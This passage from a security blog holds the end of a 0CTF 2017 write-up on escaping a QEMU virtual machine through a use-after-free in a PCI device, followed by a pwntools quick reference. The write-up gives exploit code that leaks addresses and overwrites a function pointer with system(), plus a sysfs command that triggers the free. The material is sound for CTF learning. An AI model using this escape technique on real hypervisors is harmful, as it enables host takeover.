qemu_clock_get_ns(<span class="number">0</span>);</span><br><span class="line"> timer_mod(&opaque->dma_timer, v4 + opaque->expire_time);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> ...</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>In <code>vdd_dma_timer</code>, it invokes <code>opaque->dma_state->phys_mem_read/write</code>.</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">vdd_dma_timer</span><span class="params">(TencentPCIState *opaque)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> ( opaque->dma_state->cmd )</span><br><span class="line"> ((<span class="keyword">void</span> (__fastcall *)(<span class="keyword">char</span> *, <span class="keyword">dma_addr_t</span>, _QWORD))opaque->dma_state->phys_mem_read)(</span><br><span class="line"> opaque->dma_buf,</span><br><span class="line"> opaque->dma_state->dst,</span><br><span class="line"> opaque->dma_len & <span class="number">0x2FF</span>);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> ((<span class="keyword">void</span> (__fastcall *)(<span class="keyword">char</span> *, <span class="keyword">dma_addr_t</span>, _QWORD))opaque->dma_state->phys_mem_write)(</span><br><span class="line"> opaque->dma_buf,</span><br><span class="line"> opaque->dma_state->dst,</span><br><span class="line"> opaque->dma_len & <span class="number">0x2FF</span>);</span><br><span class="line"> <span class="keyword">if</span> ( opaque->dma_state->cmd == <span class="number">1</span> )</span><br><span class="line"> vdd_raise_irq(opaque, <span class="number">0x100</span>u);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>If <code>pci_vdd_uninit</code> is invoked before <code>vdd_dma_timer</code>, the <em>dma_state</em> will be used after free.</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">pci_vdd_uninit</span><span class="params">(TencentPCIState *opaque)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> __int64 v1; <span class="comment">// rax@5</span></span><br><span class="line"> __int64 v2; <span class="comment">// [rsp+28h] [rbp-8h]@1</span></span><br><span class="line"></span><br><span class="line"> v2 = *MK_FP(__FS__, <span class="number">40L</span>L);</span><br><span class="line"> <span class="built_in">memset</span>(opaque->sr, <span class="number">0</span>, <span class="number">0x100</span>uLL);</span><br><span class="line"> <span class="keyword">if</span> ( opaque->dma_state )</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">memset</span>(opaque->dma_state, <span class="number">0</span>, <span class="number">0x330</span>uLL);</span><br><span class="line"> g_free((rcu_head *)opaque->dma_state);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ( opaque->buf )</span><br><span class="line"> g_free((rcu_head *)opaque->buf);</span><br><span class="line"> v1 = *MK_FP(__FS__, <span class="number">40L</span>L) ^ v2;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h2 id="Exploitation"><a href="#Exploitation" class="headerlink" title="Exploitation"></a>Exploitation</h2><p>The exploitation is divided into two steps: </p>
<ol>
<li>leak QEMU program address. </li>
<li>hijack control flow</li>
</ol>
<h3 id="Leak-QEMU-program-address"><a href="#Leak-QEMU-program-address" class="headerlink" title="Leak QEMU program address"></a>Leak QEMU program address</h3><p>First, we allocate a buffer and get it’s physical address. Then we set <code>dma_state->dst</code> to our buffer and set <code>dma_len</code> larger than <code>sizeof(dma_buf)</code>. Finally, we trigger <code>phys_mem_write</code> by <code>writel(0, piomem + 32)</code>. By searching the output, we can find libc addresses and program addresses then calculate the base address of program/libc. </p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">phys_mem_write</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">int</span> dst, <span class="keyword">unsigned</span> <span class="keyword">int</span> len)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> set_dmastate_dst(dst);</span><br><span class="line"> set_dmalen(len);</span><br><span class="line"> writel(<span class="number">0</span>, piomem + <span class="number">32</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">mem_leak</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> pbuf = (<span class="keyword">unsigned</span> <span class="keyword">long</span>)kmalloc(<span class="number">0x10000</span>, GFP_KERNEL);</span><br><span class="line"> <span class="built_in">memset</span>(pbuf, <span class="number">0</span>, <span class="number">0x10000</span>);</span><br><span class="line"> phys_mem_write(virt_to_phys(pbuf), <span class="number">0x1000</span>);</span><br><span class="line"> <span class="comment">// xxd(pbuf, 0x1000);</span></span><br><span class="line"> libc_base = search_libc_addr(pbuf, <span class="number">0x1000</span>);</span><br><span class="line"> printk(<span class="string">"libc base:0x%lx\n"</span>, libc_base);</span><br><span class="line"> prog_base = search_prog_addr(pbuf, <span class="number">0x1000</span>);</span><br><span class="line"> printk(<span class="string">"program base:0x%lx\n"</span>, prog_base);</span><br><span class="line"> system_addr = prog_base + SYSTEM_OFFSET;</span><br><span class="line"> printk(<span class="string">"system addr:0x%lx\n"</span>, system_addr);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h3 id="Control-RIP"><a href="#Control-RIP" class="headerlink" title="Control RIP"></a>Control RIP</h3><p>There are three steps to exploit the use-after-free vulnerability:</p>
<ol>
<li>set a timer</li>
<li>trigger <code>pci_vdd_uninit</code></li>
<li>reallocte and rewrite <code>dma_state</code></li>
</ol>
<p>The following command can trigger <code>pci_vdd_uninit</code></p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo 0 > /sys/bus/pci/slots/4/power</span><br></pre></td></tr></table></figure>
<p>When <code>vdd_dma_timer</code> runs, we can control rip.</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">vdd_dma_timer</span><span class="params">(TencentPCIState *opaque)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> ( opaque->dma_state->cmd )</span><br><span class="line"> ((<span class="keyword">void</span> (__fastcall *)(<span class="keyword">char</span> *, <span class="keyword">dma_addr_t</span>, _QWORD))opaque->dma_state->phys_mem_read)(</span><br><span class="line"> opaque->dma_buf,</span><br><span class="line"> opaque->dma_state->dst,</span><br><span class="line"> opaque->dma_len & <span class="number">0x2FF</span>);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> ((<span class="keyword">void</span> (__fastcall *)(<span class="keyword">char</span> *, <span class="keyword">dma_addr_t</span>, _QWORD))opaque->dma_state->phys_mem_write)(</span><br><span class="line"> opaque->dma_buf,</span><br><span class="line"> opaque->dma_state->dst,</span><br><span class="line"> opaque->dma_len & <span class="number">0x2FF</span>);</span><br><span class="line"> <span class="keyword">if</span> ( opaque->dma_state->cmd == <span class="number">1</span> )</span><br><span class="line"> vdd_raise_irq(opaque, <span class="number">0x100</span>u);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>Becasue the QEMU is launched with <code>--nographic -append 'console=ttyS0'</code>, so we can simply invoke <code>system(cmd)</code> to run a command in host machine and the output will show in console.</p>
<p>To invoke <code>system(cmd)</code>, We need to: </p>
<ol>
<li>set <code>opaque->dma_state->phys_mem_read</code> to <code>system</code></li>
<li>set <code>opaque->dma_buf</code> to <code>cmd</code></li>
<li>make sure <code>opaque->dma_state->cmd != 0</code>.</li>
</ol>
<p>In <code>vdd_linear_write</code>, when <code>addr == 0</code>, a buffer will be allocated with size of <code>opaque->dma_len</code>. And the data in <code>opaque->dma_state->src</code> with length of <code>opaque->dma_len</code> will be copied to <code>opaque->buf</code>, then copied to <code>opaque->dma_state->dst</code></p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">vdd_linear_write</span><span class="params">(TencentPCIState *opaque, hwaddr addr, <span class="keyword">uint64_t</span> val, <span class="keyword">unsigned</span> <span class="keyword">int</span> size)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> ( opaque->dma_state && addr <= <span class="number">13</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">switch</span> ( (_DWORD)((<span class="keyword">char</span> *)off_6EF324 + off_6EF324[addr]) )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">if</span> ( opaque->buf )</span><br><span class="line"> g_free((rcu_head *)opaque->buf);</span><br><span class="line"> opaque->buf = (<span class="keyword">uint8_t</span> *)g_malloc0(opaque->dma_len);</span><br><span class="line"> vdd_dma_read(opaque->buf, opaque->dma_state->src, opaque->dma_len);</span><br><span class="line"> vdd_dma_write(opaque->buf, opaque->dma_state->dst, opaque->dma_len);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> ...</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">put_fake_dma</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">dma</span> <span class="title">fakedma</span>;</span></span><br><span class="line"> fakedma.cmd = <span class="number">2</span>;</span><br><span class="line"> fakedma.phys_mem_read = system_addr;</span><br><span class="line"> <span class="built_in">memcpy</span>(pbuf, (<span class="keyword">void</span> *)&fakedma, <span class="keyword">sizeof</span>(fakedma));</span><br><span class="line"> set_dmalen(<span class="number">0x330</span>);</span><br><span class="line"> set_dmastate_src(virt_to_phys(pbuf));</span><br><span class="line"> set_dmastate_dst(virt_to_phys(pbuf));</span><br><span class="line"> outb(<span class="number">0</span>, VDB_PORT + <span class="number">0</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p><img src="https://i.imgur.com/tixAsK6.png" alt></p>
<p><a href="https://gist.github.com/Eadom/3d5600b6931fbf328ffb20f10eeb3a52" target="_blank" rel="noopener">Exploit script</a></p>
<p>Thanks for Atum’s help.</p>
<p>
<a
href="/writeups/qemu-escape-vm-escape-from-0ctf-2017-finals-writeup/#post-footer"
class="postShorten-excerpt_link link"
aria-label=""
>
Comment and share
</a>
</p>
</div>
</div>
</article>
<article class="postShorten postShorten--thumbnailimg-bottom">
<div class="postShorten-wrap">
<div class="postShorten-header">
<h1 class="postShorten-title">
<a
class="link-unstyled"
href="/uncategorized/pwntools-quick-reference-guide/"
aria-label=": Pwntools Quick Reference Guide"
>
Pwntools Quick Reference Guide
</a>
</h1>
<div class="postShorten-meta">
<time datetime="2016-03-02T18:33:29+08:00">
Mar 02, 2016
</time>
</div>
</div>
<div class="postShorten-content">
<blockquote>
<p>pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.</p>
</blockquote>
<h2 id="Context"><a href="#Context" class="headerlink" title="Context"></a>Context</h2><p>Setting the Target Architecture and OS:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">context(arch=<span class="string">'arm'</span>, os=<span class="string">'linux'</span>, endian=<span class="string">'big'</span>, log_level=<span class="string">'debug'</span>)</span><br></pre></td></tr></table></figure>
<h2 id="Log"><a href="#Log" class="headerlink" title="Log"></a>Log</h2><p>It’s similar to <code>logging.Logger</code>.</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>log.info(<span class="string">'Hello, world!'</span>)</span><br><span class="line">[*] Hello, world!</span><br></pre></td></tr></table></figure>
<h2 id="Making-connections"><a href="#Making-connections" class="headerlink" title="Making connections"></a>Making connections</h2><h3 id="New-a-tube"><a href="#New-a-tube" class="headerlink" title="New a tube"></a>New a tube</h3><p>Create a tube instance from a local program or a remote conncetion.</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">conn = process(<span class="string">'./pwn'</span>)</span><br><span class="line">conn = remote(<span class="string">'ftp.debian.org'</span>,<span class="number">21</span>)</span><br></pre></td></tr></table></figure>
<h3 id="Comunication"><a href="#Comunication" class="headerlink" title="Comunication"></a>Comunication</h3><h4 id="Send-and-recv"><a href="#Send-and-recv" class="headerlink" title="Send and recv"></a>Send and recv</h4><p>There are many functions to send or recv data via tube.</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">recv(numb = <span class="number">4096</span>, timeout = default)</span><br><span class="line">recvuntil(delims, drop=<span class="literal">False</span>, timeout = default)</span><br><span class="line">recvn(numb, timeout = default)</span><br><span class="line">recvlines(numlines, keepends = <span class="literal">False</span>, timeout = default)</span><br><span class="line">recvline(keepends = <span class="literal">True</span>, timeout = default)</span><br><span class="line">recvregex(regex, exact = <span class="literal">False</span>, timeout = default)</span><br><span class="line">recvrepeat(timeout = default) <span class="comment"># Receives data until a timeout or EOF is reached.</span></span><br><span class="line">recvall(self, timeout=Timeout.forever) <span class="comment"># Receives data until EOF is reached.</span></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">send(data)</span><br><span class="line">sendline(line)</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">interactive()</span><br></pre></td></tr></table></figure>
<h4 id="Listen"><a href="#Listen" class="headerlink" title="Listen"></a>Listen</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">l = listen(port=<span class="number">2333</span>, bindaddr = <span class="string">"0.0.0.0"</span>)</span><br><span class="line">c = l.wait_for_connection()</span><br><span class="line">c.recv()</span><br></pre></td></tr></table></figure>
<h2 id="ELF-Manipulation"><a href="#ELF-Manipulation" class="headerlink" title="ELF Manipulation"></a>ELF Manipulation</h2><p>Stop hard-coding things! Look them up at runtime with <code>pwnlib.elf</code>.</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>e = ELF(<span class="string">'/bin/cat'</span>)</span><br><span class="line"><span class="meta">>>> </span><span class="keyword">print</span> hex(e.address) </span><br><span class="line"><span class="number">0x400000</span></span><br><span class="line"><span class="meta">>>> </span><span class="keyword">print</span> hex(e.symbols[<span class="string">'write'</span>]) </span><br><span class="line"><span class="number">0x401680</span></span><br><span class="line"><span class="meta">>>> </span><span class="keyword">print</span> hex(e.got[<span class="string">'write'</span>]) </span><br><span class="line"><span class="number">0x60b070</span></span><br><span class="line"><span class="meta">>>> </span><span class="keyword">print</span> hex(e.plt[<span class="string">'write'</span>]) </span><br><span class="line"><span class="number">0x401680</span></span><br><span class="line"><span class="meta">>>> </span>e.address = <span class="number">0x0</span></span><br><span class="line"><span class="meta">>>> </span><span class="keyword">print</span> hex(e.symbols[<span class="string">'write'</span>]) </span><br><span class="line"><span class="number">0x1680</span></span><br></pre></td></tr></table></figure>
<p>You can even patch and save the files.</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>e = ELF(<span class="string">'/bin/cat'</span>)</span><br><span class="line"><span class="meta">>>> </span>e.read(e.address+<span class="number">1</span>, <span class="number">3</span>)</span><br><span class="line"><span class="string">'ELF'</span></span><br><span class="line"><span class="meta">>>> </span>e.asm(e.address, <span class="string">'ret'</span>)</span><br><span class="line"><span class="meta">>>> </span>e.save(<span class="string">'/tmp/quiet-cat'</span>)</span><br><span class="line"><span class="meta">>>> </span>disasm(file(<span class="string">'/tmp/quiet-cat'</span>,<span class="string">'rb'</span>).read(<span class="number">1</span>))</span><br></pre></td></tr></table></figure>
<h2 id="Debug-with-gdb"><a href="#Debug-with-gdb" class="headerlink" title="Debug with gdb"></a>Debug with gdb</h2><p><code>pwnlib.gdb.attach()</code> starts GDB in a <strong>new terminal</strong> and attach to target.</p>
<p>Target can be a process, (addr, port), or ssh channel.</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">p = process(<span class="string">'./helloworld'</span>)</span><br><span class="line">gdb.attach(p, execute=<span class="string">"b *0x4000000"</span>) <span class="comment"># execute:GDB script to run after attaching.</span></span><br><span class="line"></span><br><span class="line">gdb.attach((<span class="string">'127.0.0.1'</span>, <span class="number">8765</span>)) <span class="comment"># attach to remote gdb server</span></span><br><span class="line"></span><br><span class="line">s = ssh(host=<span class="string">'rpi'</span>, user=<span class="string">'pi'</span>)</span><br><span class="line">conn = s.process(<span class="string">'/tmp/helloworld'</span>)</span><br><span class="line">gdb.attach(conn) <span class="comment"># start gdb on remote server via ssh</span></span><br></pre></td></tr></table></figure>
<p>If you want to start GDB in a split window in tmux:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">context.terminal = [<span class="string">'tmux'</span>, <span class="string">'splitw'</span>, <span class="string">'-h'</span>]</span><br><span class="line">context.terminal = [<span class="string">'tmux'</span>, <span class="string">'splitw'</span>, <span class="string">'-v'</span>]</span><br></pre></td></tr></table></figure>
<h2 id="Fmtstr"><a href="#Fmtstr" class="headerlink" title="Fmtstr"></a>Fmtstr</h2><p><code>pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')</code></p>
<p>It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from <code>context.bits</code></p>
<p>Parameters: </p>
<ul>
<li>offset (int) – the first formatter’s offset you control</li>
<li>writes (dict) – dict with addr, value {addr: value, addr2: value2}</li>
<li>numbwritten (int) – number of byte already written by the printf function</li>
<li>write_size (str) – must be byte, short or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)</li>
</ul>
<h2 id="DynELF"><a href="#DynELF" class="headerlink" title="DynELF"></a>DynELF</h2><p><code>pwnlib.dynelf</code> — Resolving remote functions using leaks</p>
<p>Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.</p>
<p>This is an example in the document:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Assume a process or remote connection</span></span><br><span class="line">p = process(<span class="string">'./pwnme'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Declare a function that takes a single address, and</span></span><br><span class="line"><span class="comment"># leaks at least one byte at that address.</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak</span><span class="params">(address)</span>:</span></span><br><span class="line"> data = p.read(address, <span class="number">4</span>)</span><br><span class="line"> log.debug(<span class="string">"%#x => %s"</span> % (address, (data <span class="keyword">or</span> <span class="string">''</span>).encode(<span class="string">'hex'</span>)))</span><br><span class="line"> <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line"><span class="comment"># For the sake of this example, let's say that we</span></span><br><span class="line"><span class="comment"># have any of these pointers. One is a pointer into</span></span><br><span class="line"><span class="comment"># the target binary, the other two are pointers into libc</span></span><br><span class="line">main = <span class="number">0xfeedf4ce</span></span><br><span class="line">libc = <span class="number">0xdeadb000</span></span><br><span class="line">system = <span class="number">0xdeadbeef</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># With our leaker, and a pointer into our target binary,</span></span><br><span class="line"><span class="comment"># we can resolve the address of anything.</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># We do not actually need to have a copy of the target</span></span><br><span class="line"><span class="comment"># binary for this to work.</span></span><br><span class="line">d = DynELF(leak, main)</span><br><span class="line"><span class="keyword">assert</span> d.lookup(<span class="literal">None</span>, <span class="string">'libc'</span>) == libc</span><br><span class="line"><span class="keyword">assert</span> d.lookup(<span class="string">'system'</span>, <span class="string">'libc'</span>) == system</span><br><span class="line"></span><br><span class="line"><span class="comment"># However, if we *do* have a copy of the target binary,</span></span><br><span class="line"><span class="comment"># we can speed up some of the steps.</span></span><br><span class="line">d = DynELF(leak, main, elf=ELF(<span class="string">'./pwnme'</span>))</span><br><span class="line"><span class="keyword">assert</span> d.lookup(<span class="literal">None</span>, <span class="string">'libc'</span>) == libc</span><br><span class="line"><span class="keyword">assert</span> d.lookup(<span class="string">'system'</span>, <span class="string">'libc'</span>) == system</span><br><span class="line"></span><br><span class="line"><span class="comment"># Alternately, we can resolve symbols inside another library,</span></span><br><span class="line"><span class="comment"># given a pointer into it.</span></span><br><span class="line">d = DynELF(leak, libc + <span class="number">0x1234</span>)</span><br><span class="line"><span class="keyword">assert</span> d.lookup(<span class="string">'system'</span>) == system</span><br></pre></td></tr></table></figure>
<h2 id="Utility"><a href="#Utility" class="headerlink" title="Utility"></a>Utility</h2><h3 id="Generation-of-unique-sequences"><a href="#Generation-of-unique-sequences" class="headerlink" title="Generation of unique sequences"></a>Generation of unique sequences</h3><p><code>pwnlib.util.cyclic.cyclic(length = None, alphabet = string.ascii_lowercase, n = 4)</code></p>
<p><code>pwnlib.util.cyclic.cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None)</code></p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>cyclic(<span class="number">20</span>)</span><br><span class="line"><span class="string">'aaaabaaacaaadaaaeaaa'</span></span><br><span class="line"><span class="meta">>>> </span>cyclic(alphabet = <span class="string">"ABC"</span>, n = <span class="number">3</span>)</span><br><span class="line"><span class="string">'AAABAACABBABCACBACCBBBCBCCC'</span></span><br><span class="line"><span class="meta">>>> </span>cyclic_find(cyclic(alphabet = <span class="string">"ABC"</span>, n = <span class="number">3</span>)[<span class="number">3</span>:<span class="number">6</span>], alphabet = <span class="string">"ABC"</span>, n = <span class="number">3</span>)</span><br><span class="line"><span class="number">3</span></span><br></pre></td></tr></table></figure>
<h3 id="Assembly-and-Disassembly"><a href="#Assembly-and-Disassembly" class="headerlink" title="Assembly and Disassembly"></a>Assembly and Disassembly</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>asm(<span class="string">'mov eax, 0'</span>).encode(<span class="string">'hex'</span>)</span><br><span class="line"><span class="string">'b800000000'</span></span><br><span class="line"><span class="meta">>>> </span><span class="keyword">print</span> disasm(<span class="string">'6a0258cd80ebf9'</span>.decode(<span class="string">'hex'</span>))</span><br><span class="line"> <span class="number">0</span>: <span class="number">6</span>a <span class="number">02</span> push <span class="number">0x2</span></span><br><span class="line"> <span class="number">2</span>: <span class="number">58</span> pop eax</span><br><span class="line"> <span class="number">3</span>: cd <span class="number">80</span> int <span class="number">0x80</span></span><br><span class="line"> <span class="number">5</span>: eb f9 jmp <span class="number">0x0</span></span><br></pre></td></tr></table></figure>
<h3 id="Packing-Integers"><a href="#Packing-Integers" class="headerlink" title="Packing Integers"></a>Packing Integers</h3><p><code>p8()</code>, <code>p16()</code>, <code>p32()</code>, <code>p64()</code>, <code>u8()</code>, <code>u16()</code>, <code>u32()</code>, <code>u64()</code></p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span><span class="keyword">import</span> struct</span><br><span class="line"><span class="meta">>>> </span>p32(<span class="number">0xdeadbeef</span>) == struct.pack(<span class="string">'I'</span>, <span class="number">0xdeadbeef</span>)</span><br><span class="line"><span class="literal">True</span></span><br><span class="line"><span class="meta">>>> </span>leet = <span class="string">'37130000'</span>.decode(<span class="string">'hex'</span>)</span><br><span class="line"><span class="meta">>>> </span>u32(<span class="string">'abcd'</span>) == struct.unpack(<span class="string">'I'</span>, <span class="string">'abcd'</span>)[<span class="number">0</span>]</span><br><span class="line"><span class="literal">True</span></span><br></pre></td></tr></table></figure>
<p><code>pwnlib.util.packing.pack/unpack(number, word_size = None, endianness = None, sign = None, **kwargs)</code></p>
<p>
<a
href="/uncategorized/pwntools-quick-reference-guide/#post-footer"
class="postShorten-excerpt_link link"
aria-label=""
>
Comment and share
</a>
</p>
</div>
</div>
</article>
<article class="postShorten postShorten--thumbnailimg-bottom">
<div class="postShorten-wrap">
<div class="postShorten-header">
<h1 class="postShorten-title">
<a
class="link-unstyled"
href="/writeups/0ctf-2015-writeup/"
aria-label=": 0CTF2015 Writeup"
>
0CTF2015 Writeup
</a>
</h1>
<div class="postShorten-meta">
<time datetime="2015-04-02T23:59:51+08:00">
Apr 02, 2015
</time>
<span>in </span>
<a class="category-link" href="/categories/writeups/">writeups</a>
</div>
</div>